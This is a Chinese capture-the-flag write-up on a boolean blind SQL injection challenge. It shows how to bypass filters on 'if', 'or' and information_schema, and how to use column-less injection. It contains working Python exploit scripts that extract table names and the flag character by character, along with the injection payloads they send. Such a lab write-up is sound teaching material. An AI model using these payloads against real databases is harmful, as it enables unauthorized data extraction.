无列名注入以及information_schema的绕过

无列名注入以及infomation_schema的绕过

我们打开页面,发现是一个简陋的信息查询,然后尝试sql注入闭合测试

1
admin"#

发现有回显

1
SQL Injection Checked.

发现是sql注入漏洞,且如果随意输入数据进行查询,发现回显

1
bool(false)

所以可以使用bool盲注,但是经过fuzz,发现if被过滤了,且or也被严格过滤,所以information_schema也被过滤,因此根据经验,可以使用

1
sys.schema_table_statistics_with_buffer

来代替information_schema,但是它只可以查询table(表),不可以查询列名(字段),同时通过抓包,可以知道如果出现错误的话,会返回V&N,如果正确的话,返回Nu1L,所以我们可以用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

可以爆出两个表名

1
users233333333333333,f1ag_1s_h3r3_hhhhh

但是由于我们无法知道列名,所以我们可以使用无列名注入

无列名注入的原理

例子

1
select(select 'b')>(select 'c');

无列名注入使用了ascii位偏移,就是比较两个字符串的大小,即各取两个字符串的首字符ascii码来比较,如果相等则选取下一个字符进行比较,如果不等式成立的话返回1,如果不等式不成立的话返回0,只比较一次

但是我们不知道有多少个字段,flag在哪一个字段里,所以我们可以先

1
1^((select 1,1)>(select * from flag_ls_h3r3_hhhhh))^1

来测试有几个字段和flag在哪个字段里,通过测试发现,存在两个字段,flag在第二个字段里,所以我们可以使用exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

来爆出flag出来,但是flag都是小写字母,所以可以使用c语言来转化为小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<iostream>
using namespace std;
int main(){
int i=0;
char a[]="FLAG{2A2D6335-F1D1-4E6E-8A77-135E0DFC5149}";
while(a[i]!='\0'){
if(a[i]>=65 && a[i]<=90){
a[i]+=32;
}
cout<<a[i];
i++;
}
return 0;
}